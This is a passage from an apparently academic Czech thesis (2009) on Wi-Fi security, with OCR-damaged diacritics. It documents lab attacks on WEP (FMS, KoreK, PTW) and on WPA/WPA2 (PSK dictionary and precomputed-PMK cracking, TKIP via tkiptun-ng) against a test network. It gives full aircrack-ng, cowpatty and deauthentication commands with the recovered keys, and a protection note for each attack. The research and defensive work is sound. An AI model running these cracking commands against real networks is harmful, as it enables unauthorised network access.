K injekci vytvoreného ramce slouzi utilita aireplay-ng s nasledujicimi parametry:

# aireplay-ng -2 -r arp-request.cap athO

Kde:
-2 jedna se o injekci libovolného ramce
-r ramec, ktery ma byt vyslan

ath0 poutzité rozhrani
Podrobny popis vytvoreni ostatnich typld ramct je popsan v [27].

6.8 FMS utok
V roce 2001 Scott Fluhrer, Itsik Mantin a Adi Shamir (z pfijmeni vznikl ndzev Gtoku) popsali a

publikovali v [17] jako prvni Gtok na WEP a dvé slabd mista RC4. Prvni jsou slabd mista
invariance a druhd znamé utoky na IV. Oba utoky jsou zaloZzeny na skutecnosti, Ze v pfipadé
nékterych hodnot klica bity v po¢atecnich bytech keystreamu zavisi pouze na nékolika bitech
Sifrovaciho klice. Tyto slabé klice umozZnuji ziskat urcitou ¢ast vystupnich byt
s nezanedbatelnou pravdépodobnosti. Slabé klice jsou tvoreny zietézenim IV a klice (viz. kap.
2.3.5). Inicializa¢ni vektory (1V), které vytvati slabé kli¢e, oznacujeme slabé IV (weak V).

6.8.1 Slabé IV

Aby tento utok bylo moiné provést, je nutné zndat alespon nékolik pocatecnich byt
nesifrovaného textu. Podle RFC 1042(standard pro prenos IP diagram( pres ethernetové
sité) zacinaji vSechny IP pakety a ARP pakety hodnotou 0xAA nékolik bajti nesifrovaného
textu tedy zname. [1]
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Podle Fluhrera, Mantina a Shamira jsou slabé inicializa¢ni vektory reprezentovany
nasledovné:

A+3,N-1,X

kde A je je index klice ktery mlzZe byt objeven (pro A = 0 jde o K[3] — prvni byte tajného
klice), N je velikost stavového pole KSA (v tomto pripadé 256) a X je libovolny byte.
V pfipadé, Ze IV spliuje tuto vlastnost, dava vice jak 5% pravdépodobnost, ze K-ty byte
tajného kli¢e se prenese do prvniho bytu vystupniho keystreamu RC4.

6.8.2 Implementace FMS utoku

JelikoZ se jednd o pasivni typ utoku, stacilo prepnout kartu do monitorovaciho rezimu a
nebylo nutné délat fale$nou autentizaci a asociaci. Utok FMS umoZfiuje napf. program
AirSnort, ktery jej provadi paralelné s KoreK utokem. Jako vysledek se bere rychlejsi odezva
jednotlivych vétvi. Program AirSnort je GUI, takze jeho nastaveni je pro uzivatelské a velmi
jednoduché(viz. Obr. 6.9).

AirSnort
File  Edit Settings Help
& scan Metwark device + || Refresh 40 bit crack breadth: |3 :
channel | & : B e wlan-na - 128 bit crack breadth: | 2 :
C EBSSID Mame WEP Last Seen Last IV Chan Packets Encrypted Interesting Unigque PW: Hex PW: ASCII
K 00:50:7FDF1D:BO TEST_DP Y Mon Apr20 16:55:25 2009 50D:8E:25 2 993369 B92736 170 320180 31:32:21:40:4 12/@Gh%p=7as*
Start Stop Clear

Obr. 6.9: Utilita Airsnort

V pfipadé samotného pasivniho Utoku by nasbirdni dostate¢ného poctu ramc( v siti s malym
provozem mohlo trvat nékolik hodin. Proto jako alternativu lze pouzit aktivni ARP injekci (viz.
kap. 6.3.1). Tim se v3ak utok stava odhalitelny.

6.8.3 Ochrana proti FMS utoku

Jako ochrana proti utoku FMS vyuZivajici slabé IV byla vytvofena nova technologie tzv. WEP
plus. Toto oznaceni napt. pouziva firma Lucent a technologie méla zajistit vynechavani
slabych IV. Technologii vSak museli podporovat vSechny zafizeni v siti. Stacila jedind stanice,
ktera tuto technologii nepodporovala a utok FMS bylo mozné opét poutzit.

Standardizovanym fesenim je pouziti WPA/WPA2 — TKIP na starsich zafizenich (popf. WPA-
CCMP na novych zafizenich) jelikoz TKIP nepouziva slabé IV a vystupni keystream je
dynamicky neni mozné utok FMS pouZzit.
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6.9 KorekK

Jedna se o statickou metodu zjisténi tajného klice. Na rozdil od FMS utoku, tento Utok neni
zalozeny na zjiSténi slabych 1V, ale na stavu a chovani KSA a PRGN. Autor tohoto utoku KoreK
v roce 2004 publikoval n féru netstumbler.org 17 utokd umozZiujicich zjisténi tajného WEP
klice. V roce 2006 k nim pfibyl jesté osmnacty Utok. Podrobné byly jednotlivé KoreK utoky
popsany Rafikem Chaabounim v praci [18].

6.9.1 Realizace KoreK utokim

Stejné jako v pripadé FMS se jedna o pasivni Utok. KoreK utok je mozné realizovat pomoci
Airsnort spolecné sFMS utokem, druhou variantou je pouziti utility aircrack-ng ze
stejnojmenného baliku. Utilita aircrack-ng umoznuje pouziti vSech sedmnacti KoreK atokd.

Pro samotné spusténi aircrack-ng je nutné nejprve zprovoznit monitorovaci rezim(viz. kap.
3.5.1) a zachytit odpovidajici rdmce. To je mozné pomoci utility airodump-ng s nasledujicimi
parametry:

# alrodump-ng --ch 2 --bssid 00:50:7F:DF:1D:BO -w korek0164 athO

Kde:

--ch  oznacuje kanal

--bssid budou se ukladat pouze rdmce, obsahujici tuto hodnotu bssid
-W nazev souboru, do kterého budou data ulozena

ath0 bezdratové rozhranni

KoreK Utok se pomoci aircack-ng spusti nasledujicim prikazem:

# aircrack-ng -K korek0164*.cap

Kde:
-K oznacuje KoreK utok (pouziva vSech 17 KoreK utoku)
korek0164*.cap soubor obsahujici zachycena data
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Vystup systému byl nasledujici:
Opening korek0164-01.cap
Read 1205740 packets.

# BSSID ESSID Encryption

1 00:50:7F:DF:1D:B0 TEST DP WEP (185700 IVs)
Choosing first network as target.
Opening korek0164-01.cap

Aircrack-ng 1.0 rcl r1085

[00:00:00] Tested 1 keys (got 185966 IVs)

KB depth byte (vote)
0 0/ 5 37( 16) 39( 12) eD( 12) 8C( 12) B1( 12) OD( 5) 29( 5) 14( 4)
1 0/ 2 32( 46) 91( 35) ED( 15) 01( 13) 05 13) 61( 13) CC( 13) EF( 10)
2 0/ 1 39( 60) 09( 17) AF( 15) 17( 12) CA( 12) 94( 10) E7( 10) 03( 5)
3 0/ 1 31( 76) 00( 8) 38( 5) 49( 5) CA( 5) D2( 5) OB( 3) OF( 3)

KEY FOUND! [ 37:32:39:31:33 ] (ASCII: 72913 )
Decrypted correctly: 100%

Utok byl proveden vidy pro tfi rozdilna hesla jak pro 40-bitovy tak 104-bitovy tajny kli¢ WEP.
Jednotlivé hodnoty testovanych kli¢i a poctu IV jsou v tabulkach Tab. 6.1 a Tab. 6.2.

Tab. 6.1: Srovnani poctu testovanych klich a pouzitych IV pro KoreK utok pro 40-bitovy kli¢

Pocet Pocet IV k | Celkovy pocet Pocet Unikatknich
Klic testovanych | nalezeni | zachycenych §ifrc3va n)'/ch IV v souboru
klica hesla ramcd ramcu cap
72913 7778824 187169 708372 705525 187172
He5I0 8592647 287192 837400 829302 287992
2<_19 7291348 240745 1344955 1339168 358924

Tab. 6.2: Srovnani poctu testovanych klict a pouzitych IV pro KoreK utok pro 104-bitovy kli¢

Pocet Pocet IV k | Celkovy pocet Pocet Unikatknich
Klic testovanych | nalezeni | zachycenych §ifro’va ”YCh IV'v souboru
kli¢a hesla ramcd ramcu cap
7246897549876 6526028 204313 876779 873482 206941
POpOkAt3pEt12 3129912 162145 495301 493278 174882
12!@Gh%p<?a5* | 7169074 200726 788037 785026 205230

Nevyhodou je, Ze KoreK utoky davaji falesSna pozitiva ve vétsi mire nez utok FMS, proto je
mozné jednotlivé KoreK utoky vypnout pomoci parametru —k a d&islo utoku (1 — 17),
v pfipadé, Ze se nam nedostavd, i po zachyceni velkého poctu ramcl, spravny vysledek.
Stejné jako v pripadé slabého provozu na siti je mozné pouzit ARP injekci. Zachycené ramce
byly uloZeny do jednotlivych soubor( a jsou priloZzeny na CD.
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6.9.2 Ochrana viici KoreK utokim

Jelikoz utok KoreK na rozdil od FMS Gtoku nevyuziva slabych IV, na stavu a chovani KSA a
PRGN neni mozné pro néj urcit konkrétni hodnoty IV. Proto moznou ochranou proti tomuto
utoku je pouziti WPA/WPA2.

6.10 PTW utok

V dubnu 2007 Erik Tews, Ralf-Philipp Weinmann a Andrei Pyshkin demonstrovali v [19] Utok
na 104-bitovy tajny WEP kli¢ pouZitim méné jak 40000 zachycenych rdmcu
s pravdépodobnosti Uspéchu 50% a v ptipadé zachyceni 85000 ramc(i s pravdépodobnosti
95%. Tento Utok vychazi z Kleinova utoku, ktery Andreas Klein poprvé prednesl v ¢ervnu
2005 a nasledné v unoru 2006 podrobné popsal v [20].

K prolomeni 104-bitového WEP je nutné znat prvnich 16 bytd plaintextu. Ty je mozZné ziskat
napf. z ARP paket(. Velikost ARP paketU je pevna, proto je mozné je rozlisit od ostatnich.

V pripadé ARP paketd prvnich 16 byt reprezentuje 8bytl dlouhd 802.11 LLC (Logic Link
Control) hlavicka a prvnich 8 bytd ARP samotného (viz. Obr. 6.10). LLC hlavicka je stejna pro
vSechny ARP pakety a ma nasledujici tvar AA AA 03 00 00 00 08 06. ARP request a ARP
response se pak lisi pouze v 16. bytu. Tvar ARP request je 00 01 08 00 00 06 04 00 01. U ARP
response se zméni posledni byte na 02. Jelikoz MAC adresy jsou prenaseny v hlavi¢ce IEEE
802.11 nesifrované, je snadné rozliSit ARP request a ARP response. Ze znalosti cilové MAC
adresy je mozné snadno urCit ARP request, protoze jeho cilovda adresa bude
broadcastova(FF:FF:FF:FF:FF), na rozdil od ARP responce kde je cilovd MAC adresa
unicastova.

Request

AA AA 03 00 00 00 08 06 | 00 01 08 00 06 04| 00 01 | XX

LLC / SNAP hlavicka ARP hlavicka

Response

AA AA 03 00 00 00 08 06|00 01 08 00 06 04 00 02 | XX

LLC / SNAP hlavi¢ka ARP hlavi¢ka

Obr. 6.10: Hlavicka ARP request / response paketu

6.10.1 Realizace PTW utoku

Pfed vlastnim utokem bylo nutné nejprve kartu pfepnout do monitorovaciho rezimu(viz. kap.
3.4.1). Samotny utok je nasledné moiné provést pomoci utility aircrack-ptw navrienou
Tewsem, Weinmannem a Pyshkinem, popfipadé utilitou airckrack-ng ze stejnojmenného
baliku, ktery tento utok taky umozfuje. Pfed spusténim Utoku je nejprve nutné zpustit
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zachytavani rdmct pomoci utility airodump-ng stejné jako v predchozim pripadé (KoreK
utok).

Pro aircrack-ng byl pouzit nasledujici pfikaz:

# aircrack-ng -z -n 64 ptwpass0l_64*._cap

Kde:

-z oznacuje pouziti PTW utok

-n 64 vyjadruje, Ze bude hledano 64bitové heslo
ptwpass01_64*.cap soubor, kde jsou uloZena zachycena data

Odpovéd systému byla nasleduijici:

Opening ptwpass0l 64-0l.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 12427 ivs.

Aircrack-ng 1.0 rc3

[00:00:15] Tested 506840 keys (got 15032 IVs)

KB depth byte (vote)

0 0/ 57 37(19968) 40(19712) 23(19456) 22(19200) 5C(18688)
1 0/ 1 32(26624) A5(19712) A8(19712) B6(19712) B4(19200)
2 2/ 6 60(19968) 1E(19456) 6E(19456) A2(19456) 62(19200)
3 28/ 74 31(17408) 96(17152) AC(17152) B8(17152) CC(17152)
4 6/ 24 33(19200) BA(19200) 12(19200) 04(18688) AC(18432)

KEY FOUND! [ 37:32:39:31:33 ] (ASCII: 72913 )
StartingDecrypted correctly: 100%s.

V pfipadé poufziti utility aircrack-ptw je pfikaz nasleduijici:

# aircrack-ptw nazev_souboru.cap

A odpovéd systému nasledujici:

This is aircrack-ptw 1.0.0

For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table

bssid = 00:50:7F:DF:1D:B0 keyindex=0

stats for bssid 00:50:7F:DF:1D:B0 keyindex=0 packets=198362

Found key with len 13: 37 32 34 36 38 39 37 35 34 39 38 37 36

Stejné jako v predeslych dvou prikladech utokd se jedna o pasivni metodu. A stejnym
zpusobem je mozné urychlit generovani potfebnych rdmca.

Utok PTW byl proveden pro tii 40-bitové a tii 104-bitové tajné WEP kli¢e pomoci aircrack-ng.
Vysledky jednotlivych utok(l jsou v tabulkach Tab. 6.3 a Tab. 6.4.
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Tab: 6.3: Vysledky PTW utoku na tfi 40-bitové WEP klice

Pocet Pocet IV k | Celkovy pocet Pocet Unikatknich
Klic testovanych | nalezeni | zachycenych §ifr(?va no\'/ch IV'v souboru
kli¢h hesla ramcd ramcu cap
72913 506840 15032 26561 26504 16366
He5I0 52486 10327 18790 18722 11222
2<_19 1052 20027 21402 21359 21113

Tab: 6.4: Vysledky PTW utoku na tfi 104-bitové WEP kli¢e

Pocet Pocet IV k | Celkovy pocet Pocet Unikatknich
Klic testovanych | nalezeni | zachycenych éifro’va ”YCh IV'v souboru
kli¢h hesla ramcd ramcu cap
7246897549876 553072 40006 59466 59408 58741
POpOkAt3pEt12 583780 40008 42161 42005 41272
12!@Gh%p<?a5* 549175 55035 60845 60677 59326

Ve srovnani s hodnotami, které byly zjistény béhem Utoku KoreK je patrné, Ze pro nalezeni
hesla pomoci PTW je potfeba podstatné méné zachycenych ramcui. V pfipadé 40-bitového
WEP je potieba 12x méné zachycenych ramc(, pro 104-bitovy WEP pak pfiblizné pétina
zachycenych ramc(. Zachycené ramce byly uloZzeny do jednotlivych soubor( a jsou pfilozeny
na CD.

6.10.2 Ochrana proti PTW utoku

MozZnou ochranou by bylo zamezeni vysilani ramcl se znamym zacatkem plaintextu.
V ptipadé pouziti aktivniho uUtoku (viz. 4.2 Ziskani keystream z Shared-key autentizace, 4.3
Injekce paketu, 4.4 Fragmentacni utok, 4.6 KoreK chochop utok), kdy je mozné vysilat svoje
vytvorené ramce je moznou ochranou zamezeni opakovani velkého poctu ramcu se stejnou
hodnotou IV, stejné jak je tomu napf. u ochrany proti ARP injekci (viz. 4.3.2).

Césteénou pomoci mlze byt poufiti bezdratového IDS, ktery v siti monitoruje priiniky a
jednotlivé utoky.

Spolehlivou ochranu proti PTW pak poskytuje pouziti WPA / WPA2, které generuje
keystream pro kazdy paket dynamicky.

7 WPA/WPA 2

Jelikoz WEP se ukazal jako zabezpeceni neschopny, vytvofila pracovni skupina 802.11 novy
bezpecnostni protokol nazvany WiFi Protected Access (WPA), ktery mél opravit veskeré
bezpecnostni diry WEP a soucasné byl schopen provozu na stdvajicich zafizenich.
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7.1 Utok na Pre-Shared Key (PSK) u WPA/WPA2

JestliZze je na pristupovém budu nastaven personal mode, znamena to, Ze pro autentizaci je
pouZita metoda predsdileného klice PSK. K prolomeni PSK neni mozné pouzit zachytavani IV,
jak tomu bylo v pfipadé WEP, jelikoz kli¢ se dynamicky méni. PSK lze ziskat pouze hrubou
silou (resp. slovnikovym utokem).

Pro samotny slovnikovy Utok je nejprve nutné zachytit 4-way handshake (Ctyfcestny
handshake) mezi AP a klientem. Ten je moZné ziskat pasivné (vyckanim, dokud se k AP
neprihlasi stanice) nebo aktivné (provedenim deautentizace pripojeného klienta (viz. kap.
3.5.2)).

ProtoZe autentiza¢ni metody pro WPA a WPA2 jsou témér stejné, nasledujici kapitolu je
mozné provést jak pro zjisténi PSK pro WPA tak i pro WPA2.

7.1.1 Realizace utoku na PSK

V textu uvedeném niZe je proveden Utok na WPA2. Pred vlastnim Utokem je opét potreba
prepnout bezdratovou kartu do monitorovaciho rezimu (viz. kap. 3.5.1). Pro zachyceni 4-way
handshake je mozné poutzit utilitu airodump-ng s nasledujicimi parametry:

#airodump-ng --ch 2 --bssid 00:50:7F:DF:1D:B0 -w wpa2psk monO

Kde:

--ch
--bssid budou se ukladat pouze ramce, obsahujici tuto hodnotu bssid

oznacuje kanal

-W nazev souboru, do kterého budou data ulozena
mon0 bezdratové rozhranni

V ptipadé Uspésné zachyceného handshaku je jeho hodnota zobrazena v pravém hornim
rohu vypisu:

CH 2 ][ Elapsed: 24 s ][ 2009-05-04 06:57 ][ WPA handshake: 00:50:7F:DF:1D:BO
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:50:7F:DF:1D:B0 -32 100 239 154 2 2 54 . WPA2 CCMP PSK TEST DP
BSSID STATION PWR Rate Lost Packets Probe
00:50:7F:DF:1D:B0 00:15:E9:46:13:19 -51 11-54 0 17 TEST DP

Zachyceny handshake je mozné vidét v pfiloze A v prostfedi Wireshark.
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Nyni je mozné provést slovnikovy Uutok pomoci utility coWPAtty s témito parametry:

# ./cowpatty -r /root/wpa2psk*.cap -f dict -s TEST DP

Kde:

-r odkazuje na soubor obsahujici zachyceny handshake
-f odkazuje na pouzity slovnik

-s oznacuje SSID sité

Pokud je slovnikovy utok Uspésny, vystup systému zobrazujici zjisténé PSK vypada
nasledovné:

cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.

The PSK is "12345678".

3 passphrases tested in 0.07 seconds: 40.79 passphrases/second

Pro utok byl pouzit slovnik obsazeny v adresafri utility. Slovnikovy utok byl proveden rychlosti
40,79 zkoumanych passphrases za vtefinu.

7.1.2 Predvypocitdani PMK ze zvoleného slovniku

Pro vypocet PMK je pouZit algoritmus PBKDF2, ktery vyuZivd dvou nefixnich vstup(:
passphrase a SSID sité. Pro dané SSID je mozné predvypocitat vSsechny mozné PMK pro
zvoleny slovnik. [21]

K predvypocitani jednotlivych hodnot je mozné pouzit utilitu getPMK, ktera je soucasti
coWPAtty. GetPMK predvypocitava hash soubory stejnym zplsobem jako Rainbow tables
pfi ziskavani hesla pro Windows. Hodnota SSID se pouziva pro ,.zasoleni” hashe. To znamena,
Ze pro kazdé unikatni SSID je nutné predvypocitat jiny soubor hash.

Nasledujici prikaz slouZi k vytvoreni hash souboru pro dané SSID a pro zvoleny slovnik:

# ./genpmk -f dict -d hashfile -s TEST DP

genpmk 1.0 - WPA-PSK precomputation attack. <jwright@hasborg.com>
File hashfile does not exist, creating.

key no. 1000: apportion

key no. 2000: cantabile

key no. 3000: contract

key no. 4000: divisive

4090 passphrases tested in 79.93 seconds: 51.17 passphrases/sekond

Kde:
-f oznacuje pouzity slovnik
-d urcuje nazev vytvoreného hash souboru

-S SSID sité



Zabezpeceni bezdrdtovych siti, 2009

Takto vytvoreny hash soubor je mozné pouzit v pripadé utoku na AP se stejnym SSID nebo
pokud se predpoklada utok na stejné AP i v pozdéjSi dobé a dale pro zjisténi passphrase
v pripadé, kdy administrator sité zméni passphrase, ale ponecha SSID nezménéno.

Priklad uspésné ziskané passphrase pomoci predvypocitani je vydét nize. V tomto pripadé
byla passphrase zménéna na ,dictionary” a nalezena pomoci hash souboru. Tento zpUsob je
mnohem rychlejsi nez hledani v samotném slovniku.

# ./cowpatty -r /root/wpa2psk-test*.cap -d hashfile -s TEST DP

cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.

The PSK is "dictionary".

3740 passphrases tested in 0.06 seconds: 66277.98 passphrases/second

Kde:

-r soubor obsahujici zachyceny 4-way handshake
-d pouzity hash soubor

-S SSID sité

Vroce 2006 skupina Church of Wifi predvypoditala hash soubory (tabulky) pro 1000
nejpouzivanéjsich SSID. Pro kazdé SSID byl pouzit slovnik o obsahu pftiblizné 172.000 slov.
Vysledkem bylo 7GB hashovych tabulek pro 1000 SSID, které je mozné pouZzit.

V pribéhu dalSich mésict se stejnd skupina rozhodla tyto tabulky rozsifit. K tomu byl pouzit
slovnik o 400.000 heslech, darovany odbornikem na hesla panem Burnettem, rozsifeny o
odborné slovniky (Iékarské apod.). Celkova velikost slovniku se pohybovala kolem 1.000.000
slov pro kazdé SSID. Vysledkem je 33GB hashovacich tabulek. K tomuto vypoctu bylo pouzito
15 FPGA (Field-programmable Gate Array) a vypocet trval 3 dny.

evvs

7.1.3 Zrychleny slovnikovy utok

V dnesni dobé vice jadrovych procesord je mozné vyuZit jejich vypocetni vykon efektivnéji.
V ptedchozim pripadé bylo pro zjisténi passphrase pouzito pouze jedno jadro prosesoru a
rychlost prohledavani byla 40,79 zkoumanych passphrases za vtefinu. Na ozkouSeni
funkcnosti byl pouZit procesor Intel Core2Duo T7250 2.0GHz.

Nejprve bylo nutné pouZity slovnik rozdélit na dvé priblizné stejné ¢asti. Pouzity slovnik mél
priblizné velikost 82 kb. K rozdéleni byl pouZit pfikaz:

#split —b 41k dict

Tim byl plvodni slovnik rozdélen na dva oznacené xaa a xab. Tyto dva vzniklé slovniky byly
nasledné pouzity k nalezeni spravné passphrase.
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# ./cowpatty -r /root/wpa2psk-2d*.cap -f xaa -s TEST _DP
cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.

key no. 1000: apportion

Unable to identify the PSK from the dictionary file. Try expanding your
passphrase list, and double-check the SSID. Sorry it didn't work out.
1633 passphrases tested in 32.60 seconds: 50.09 passphrases/sekond

# _/cowpatty -r /root/wpa2psk-2d*.cap -f xab -s TEST_DP

cowpatty 4.3 - WPA-PSK dictionary attack. <jwright@hasborg.com>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack. Please be patient.

key no. 1000: commemorate

key no. 2000: desiderata

The PSK is "dictionary".

2106 passphrases tested in 41.99 seconds: 50.15 passphrases/sekond

V prvni poloviné slovniku (tj. xaa) passphrase nalezend nebyl. V druhé (tj. xab) vSak ano.
Celkova rychlost prohledavani je dana souctem dilcich rychlosti, tedy 50,09 a 50,15. Celkova
rychlost prohledavani slovniku vzrostla na 102,04 passphrases za vtefinu coZ je vice jak
dvojnasobek. Na obrazku Obr. 7.1 je pomoci utility top zobrazena vytiZzenost procesoru.

top - 08:04:20 up 1:14, 1 user, 1load average: 0.46, 0.42, 0.32

Tasks: 130 total, 5 running, 125 sleeping, 0 stopped, 0 zombie

Cpu(s): 99.8%us, 0.0%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.2%hi, 0.0%si, 0.0%st
Mem: 2062212k total, 635328k used, 1426884k free, 77480k buffers

Swap: ok total, 0k used, 0k free, 310940k cached

PID USER PR NI VIRT RES SHR S %CPU %ME
6475 root 200 0 3376 904 724 R 100
6476 root 200 0 3376 904 724 R 99

M TIME+ COMMAND

0 0:10.86 cowpatty
0 0:09.09 cowpatty
6 0:17.73 Xorg
5
8
1

6228 root 20 0 30152 11m 8404 S 0
6232 root 20 0 34916 16m 1lm S 0
1 root 20 0 3052 1884 560 § 0

0:02.05 kwin
0:02.87 kicker
0:01.94 init

M
0
0
6120 root 19 -1 371Im 51m 4180 R 0 2
0
0
0

Obr. 7.1: Zobrazeni vytizenosti procesoru pomoci utility top

Pouzity slovnik je pro praktické vyuZziti nevhodny. Internet vSak obsahuje velké mnozstvi
zdroju s jiz vytvorenymi slovniky. MozZzné odkazy jsou uvedeny v pfiloze B.

7.1.4 Ochrana viici slovnikovému utoku na PSK

Ochranou proti slovnikovému utoku na PSK je dobfe zvolené heslo. Toto heslo by mélo byt
co mozna nejdelsi (min. 20 znakl), posklddané zndhodné zvolenych znak( vcetné
specialnich symboll. Ochranou proti predvypocitanym hashovym tabulkdm je zména
pvodniho SSID na vlastni. Utognik si pak musi vytvofit vlastni hash soubor pro dané SSID.
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Spasou pro Ceského uzZivatele mlze byt, Ze vétSina predvypocitanych slovnikli obsahuje
vyrazy anglického jazyka a neobsahuje znaky s diakritikou.

7.2 Utok na WPA-TKIP

V listopadu 2008 dvojice Martin Beck a Erik Tews zvetejnila prakticky utok na WPA-TKIP ve
své praci [26]. Utok slouZi k ziskani keystream a vyuzivd metodu podobnou chopchop Gtoku.
Ziskany keystream je mozné pouzit k zasilani vlastnich dat klientovi.

Pro to, aby mohl byt Utok proveditelny, by mély byt splnény tyto podminky:

Sifrovana komunikace mezi AP a klientem pomoci TKIP

e |P adresa s rozsahem, kde je zndm co nejvice bytl adresy (napf. 192.168.0.X)
e Dlouhy ¢asovy interval pro rekeying (napt. 3600 s)

e Podpora standardu IEEE 802.11e (QoS) umozZiujici 8 rozdilnych kanal((oznacenych
TID —Traffic Identifier) pro rizny datovy tok

e Pfipojena stanice k siti

K napadeni sité nejprve utocnik musi zachytit Sifrovany ARP request nebo response. Tim
ziskd rdmec, u kterého zna témér cely obsah az na posledni byt zdrojové a cilové IP adresy a
poslednich 12 bytd tvorfenych 8 byty MIC a 4 byty ICV.

V tomto okamziku je mozné pouzit modifikovany chopchop utok a ziskat tak neznamé bytu
plaintextu. Jelikoz MIC algoritmus neni jednocestna funkce, je mozné, pouzitim obraceného
algoritmu, ziskat MIC pouzity k ochrané ramcu zasilanych AP klientovi.

Utoénik ma k dispozici jak keystream tak MIC pro komunikaci mezi AP a klientem. Nyni je
schopny zaslat vlastni pakety na kazdém kandlu QoS, kde je hodnota TSC pocitadla stale nizsi
nez hodnota zachyceného paketu. Ve vétsiné realnych siti, je provoz realizovan na kanalu 0O,
z toho plyne, Ze Uto¢nik muize zaslat 7 vlastnich paketd klientovi. Po Uspésné provedeném
utoku muze utocnik ziskat dalsi keystream béhem 4 -5 minut, protoZe potrebuje desifrovat 4
byty ICV pomoci chopchop metody. Byty IP adres mohou byt odhadnuty a MIC pak lze
vypocitat pomoci zndmého MIC klice a ovéfit jej pomoci ICV. [26]

7.2.1 Realizace utoku na WPA-TKIP

K utoku na zabezpeceni WPA s Sifrovanim TKIP je moZné pouzit proof-of-concept utilitu
s ndzvem tkiptun-ng. Soucasna verze tkiptun-ng SVN nepracuje stoprocentné a je stale ve
vyvoji. Utilita je dostupnd v baliku Aircrack-ng od verze 1.0-rc2 a spousti se prikazem
s parametry uvedenymi niZe. Pred samotnym spusténim je opét nutné prepnout
bezdratovou kartu do monitor médu (viz. kap. 3.5.1).
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# tkiptun-ng -a 00:50:7F:DF:1D:BO -h 00:15:E9:46:13:19 —m 80 —n 100 monO

-a MAC adresa pfistupového bodu

-h MAC adresa klienta, na kterého budeme provadét utok (tj. MAC adresa zdroje)
-m minimalni délka rdmce

-n maximalni délka rdmce

mon0 rozhrani

Vystup je pak nasleduijici:

For information, no action required: Using gettimeofday() instead of /dev/rtc

The interface MAC (00:1D:E0:3D:9E:43) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:15:E9:46:13:19

Blub 2:38 E6 38 1C 24 15 1C CF

Blub 1:17 DD 0D 69 1D C3 1F EE

Blub 3:29 31 79 E7 E6 CF 8D 5E

06:23:57 Michael Test: Successful

06:23:57 Waiting for beacon frame (BSSID: 00:50:7F:DF:1D:B0O) on channel 2

06:23:58 Found specified AP

06:23:58 Sending 4 directed DeAuth. STMAC: [00:15:E9:46:13:19] [3]| 4 ACKs]

06:23:59 WPA handshake: 00:50:7F:DF:1D:B0 captured

06:23:59 Waiting for an ARP packet coming from the Client...

Zvypisu je patrné, Ze byla Uspésné provedena kontrola MIC, nasledné odeslani
deautentizac¢nich ramca, diky kterym byl ziskan 4-way handshake mezi pfistupovym bodem a
klientem. Vtento okamiik by mél byt zachycen ARP ramec od klienta a nasledné ARP
odpovéd’ od pristupového bodu. Na zakladé téchto zachycenych ramcl se ziska keystream,
metodou vychazejici z chopchop teorie, pouzity k zasifrovani daného rdmce. Nepodafilo se
zachytit ARP ramec prichazejici rdmec od klienta, z tohoto dlivody se nepodafilo ziskat
keystream. To mohlo byt zplsobeno pouZitou verzi utility.

7.2.2 Ochrana proti utoku na TKIP
Nejlepsi variantou k zamezeni ziskani keystream a jeho opétovné pouziti by bylo pouziti
zabezpeceni AES — CCMP.

Jako mozZné predejiti tomuto Utoku je zkratit dobu, po kterém je proveden rekeying, na co
nejkratsi, napt. 120 sekund. V téch utocnik nestihne ziskat vSechny potrebné byty plaintextu
a nestihne desifrovat ICV.
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ZAVER

Cilem diplomové prace bylo prostudovat standard bezdratovych siti 802.11 a popsat metody
zabezpedeni tohoto typu siti. V prvni Casti této price jsou popsany dnes nejpouzivangjsi
standardy jako je 802.11a/b/g/n a metody, které pouZivaji na fyzické vrstvé. V pripadé
standardu 802.11b se jednalo o metodu s rozprostfenym spektrem, u standardu 802.11a je
to metoda ortogonalniho frekvencniho multipexu. Standard 802.11g pouziva obé metody.
Nasledné byly probrany topologie vyuzivané u standardu 802.11 a metody pfistupu k médiu.

Jednotlivé metody zabezpeceni se od sebe lisi jak narocnosti implementace, tak drovni
poskytovaného zabezpeceni. Mezi nejjednodussi metody patfi nevysilat SSID, bez kterého
neni mozné se do dané sité pfihlasit, a filtrovani MAC adres. Tyto metody jsou dnes vhodné
maximalné pro domaci poutziti. V pfipadé WEP byly podrobné popsany metody autentizace
do sité, princip Sifrovani a desSifrovani dat a kontrola integrity dat. K Sifrovani je zde pouzita
proudova Sifra RC4, jejiz Spatna implementace poskytuje utocnikim znacnou vyhodu. Dalsi
nevyhodou je poutziti kratkého inicializa¢niho vektoru. Slaba mista WEP fesi standard 802.11i
a WPA/WPA2. V ramci WPA a WPA 2 byly popsany metody autentizace pomoci 802.1X a EAP
a principy Sifrovani protokolem TKIP a CCMP.

V druhé ¢asti prace byly realizovany utoky na jednotlivé typy zabezpeceni v linuxovém
prostiredi pomoci utilit jako je aircrack-ng, wireshark ¢i coWPAtty a genPMK. Skryvani vysilani
SSID nikdy nebylo navrieno jako zabezpeleni sité. Kjeho zjisténi stacilo provést
deautentizaci klienta a béhem kratkého okamziku bylo SSID odhaleno. Filtrovani MAC adres
je jiz lepSi metodou, avsak k prekonani tohoto zabezpeceni opét stacilo kratkého casu a
zména MAC adresy na MAC adresu klienta s povolenym pfistupem.

Na zabezpeceni WEP bylo realizovano nékolik rozdilnych Gtokd s riznymi predpokladanymi
vysledky. Prvnim predpokladanym vysledkem, bylo ziskani keystream pouzitého pro Sifrovani
pfendsenych ramcl. Zde byl proveden fragmentacni uUtok a utok KoreK chopchop
s pfipojenym klientem i bez klienta. V pfipadé fragmentacniho utoku byl ziskan keystream o
délce 1500 byt(. U KoreK chopchop utoku zédlezelo na velikosti zachyceného Sifrovaného
paketu. Podafilo se ziskat keystream o délce 359 bytl pro prihlaseného klienta a 277 bytu
bez pripojeného klienta. Druhym vysledkem, ktery utoky na WEP poskytuji je zjiSténi tajného
